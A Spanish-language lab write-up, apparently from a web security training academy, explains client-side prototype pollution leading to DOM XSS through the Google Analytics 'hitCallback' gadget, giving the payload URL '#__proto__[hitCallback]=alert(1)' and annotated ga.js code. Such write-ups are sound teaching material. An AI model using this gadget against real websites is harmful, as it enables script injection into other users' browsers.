Skip to content

20260322174008.png

LAB

20260322175411.png

Haciendo uso del DOM invader podemos lograr encontrar el parámetro exacto para lograr explotar un prototype pollution.

20260322175449.png

El DOM invader encuentra a un archivo ga.js que es usado por el sitio web

20260322175552.png

20260322175622.png

En el archivo js encontramos que se tiene una llamada a hitCallBack y podemos dar click a exploit para obtener la ejecución del xss.

20260322181827.png

c
https://0abb005803c606278677522f001d00ca.web-security-academy.net/#__proto__[hitCallback]=alert(1)

20260322181913.png

Analicemos un poco mas el archivo js:

20260322183845.png

La línea que registra hitCallback

js
tc = Va("hitCallback")

Va registra "hitCallback" como una clave de configuración. tc es solo un alias interno GA usa variables de una letra para ahorrar espacio en el código minificado.

20260322183236.png

La función que lo ejecuta

js
var Vc = function(a) {
    var b = this;
    this.fb = 0;
    var c = a.get(tc);        // lee hitCallback de la config
    this.Ua = function() {
        0 < b.fb && c && (b.fb--, b.fb || c())  // lo llama directo
    };
    this.Ja = function() {
        !b.fb && c && setTimeout(c, 10)  // ← acá está el XSS
    };
    a.set(uc, b, !0)
};

a.get(tc) busca hitCallback en el objeto de configuración de GA. Si no lo encuentra como propiedad propia, sube al prototipo.

Al contaminar Object.prototype.hitCallback = "alert(1)" antes de que GA se cargue, entonces a.get(tc) lo encuentra ahí y lo guarda en c.

Después setTimeout(c, 10) ejecuta ese string como código.

20260322183338.png

El flujo exacto

js
/#__proto__[hitCallback]=alert(1)

GA parsea el hash con La() / Na()
contamina Object.prototype.hitCallback

GA crea un objeto de config interno
llama a.get("hitCallback")
no existe en el objeto → sube al proto
encuentra "alert(1)"

setTimeout("alert(1)", 10)

XSS